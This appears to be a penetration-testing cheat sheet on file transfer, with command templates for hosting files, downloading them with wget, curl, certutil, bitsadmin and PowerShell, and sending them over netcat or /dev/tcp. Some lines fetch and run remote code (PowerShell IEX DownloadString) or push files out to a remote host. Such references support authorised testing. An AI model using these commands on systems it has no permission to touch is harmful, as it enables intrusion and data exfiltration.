Overview

Host files

SimpleHTTPServer

Start http server (default port is 8000, default path is current dir)
1
python -m http.server <port> -d <path>
Copied!

Apache

Start apache
1
sudo systemctl start apache2
Copied!
Default directory /var/www/html

SMB

smbserver.py (impacket)
1
sudo impacket-smbserver <share-name> <local-folder>
Copied!

FTP

Download files

wget

1
wget <ip>:<port>/file.txt
Copied!
See also Wget

curl

1
curl -O http://host/file.txt
Copied!

PowerShell

1
powershell -c "(New-Object System.Net.WebClient).DownloadFile('http://www.xyz.net/file.txt', 'C:\tmp\file.txt')"
Copied!
1
powershell -c "IEX(New-Object System.Net.WebClient).DownloadString('http://<host>/<file>')"
Copied!

certutil

1
certutil.exe -urlcache -split -f http://<host>/<file> <file>
Copied!

VBScript

BITSAdmin

1
bitsadmin /transfer mydownloadjob /download /priority normal <url> <destination>
Copied!

Send/retrieve files

netcat

1
nc -nlvp <port> > file
Copied!
1
nc -nv <own-ip> <port> < file
Copied!
Note: There is no feedback about the progress, or when/if the upload finished.

cat

1
cat <file> > /dev/tcp/<ip>/<port>
Copied!
1
nc -lvnp <port> > <file>
Copied!